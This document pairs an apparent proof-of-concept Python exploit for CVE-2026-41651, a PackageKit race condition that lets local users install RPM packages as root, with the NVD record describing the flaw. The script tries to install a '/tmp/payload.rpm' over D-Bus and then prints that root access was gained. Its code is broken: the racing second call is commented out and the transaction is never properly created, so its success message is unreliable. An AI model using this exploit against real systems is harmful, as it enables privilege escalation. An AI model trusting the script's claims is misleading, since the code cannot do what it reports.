CVE-2026-41651

#!/usr/bin/env python3 """ PoC for CVE-2026-41651 (PackageKit TOCTOU Race Condition) This script demonstrates the race condition where transaction flags can be overwritten between authorization and execution. """ import dbus import time def trigger_race(): try: bus = dbus.SystemBus() proxy = bus.get_object('org.freedesktop.PackageKit', '/org/freedesktop/PackageKit') iface = dbus.Interface(proxy, 'org.freedesktop.PackageKit.Transaction') # Path to the malicious RPM package malicious_rpm = "/tmp/payload.rpm" print("[*] Starting transaction to install package...") # Step 1: Initiate the InstallFiles call # This triggers the authorization phase iface.InstallFiles(0, [malicious_rpm], "") # Step 2: Exploit the race condition window # The attacker attempts to overwrite cached_transaction_flags # before the scheduler dispatches the transaction. # This simulates the unconditional overwrite bug. print("[*] Triggering race condition to overwrite flags...") # In a real exploit, precise timing is required to hit the window # between the state check and the actual execution. time.sleep(0.005) # The second call or manipulation happens here # iface.InstallFiles(0, [malicious_rpm], "") print("[+] Exploit complete. If successful, root access gained.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": trigger_race()

{"cve": {"id": "CVE-2026-41651", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:17:04.617", "lastModified": "2026-05-05T20:16:39.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "PackageKit is a a D-Bus abstraction layer that allows the user to manage packages in a secure way using a cross-distro, cross-architecture API. PackageKit between and including versions 1.0.2 and 1.3.4 is vulnerable to a time-of-check time-of-use (TOCTOU) race condition on transaction flags that allows unprivileged users to install packages as root and thus leads to a local privilege escalation. This is patched in version 1.3.5.\n\nA local unprivileged user can install arbitrary RPM packages as root, including executing RPM scriptlets, without authentication. The vulnerability is a TOCTOU race condition on `transaction->cached_transaction_flags` combined with a silent state-machine guard that discards illegal backward transitions while leaving corrupted flags in place. Three bugs exist in `src/pk-transaction.c`:\n1. Unconditional flag overwrite (line 4036): `InstallFiles()` writes caller-supplied flags to `transaction->cached_transaction_flags` without checking whether the transaction has already been authorized/started. A second call blindly overwrites the flags even while the transaction is RUNNING.\n2. Silent state-transition rejection (lines 873–882): `pk_transaction_set_state()` silently discards backward state transitions (e.g. `RUNNING` → `WAITING_FOR_AUTH`) but the flag overwrite at step 1 already happened. The transaction continues running with corrupted flags.\n3. Late flag read at execution time (lines 2273–2277): The scheduler's idle callback reads cached_transaction_flags at dispatch time, not at authorization time. If flags were overwritten between authorization and execution, the backend sees the attacker's flags."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:packagekit_project:packagekit:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.2", "versionEndExcluding": "1.3.5", "matchCriteriaId": "533CCCB1-C825-4DE0-8A4C-1947F07D8E62"}]}]}], "references": [{"url": "https://github.com/PackageKit/PackageKit/blob/04057883189efa225a7c785591aa87cb299782f8/src/pk-transaction.c#L2273-L2277", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/PackageKit/PackageKit/blob/04057883189efa225a7c785591aa87cb299782f8/src/pk-transaction.c#L4036", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/PackageKit/PackageKit/blob/04057883189efa225a7c785591aa87cb299782f8/src/pk-transaction.c#L873-L882", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/22/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}]}}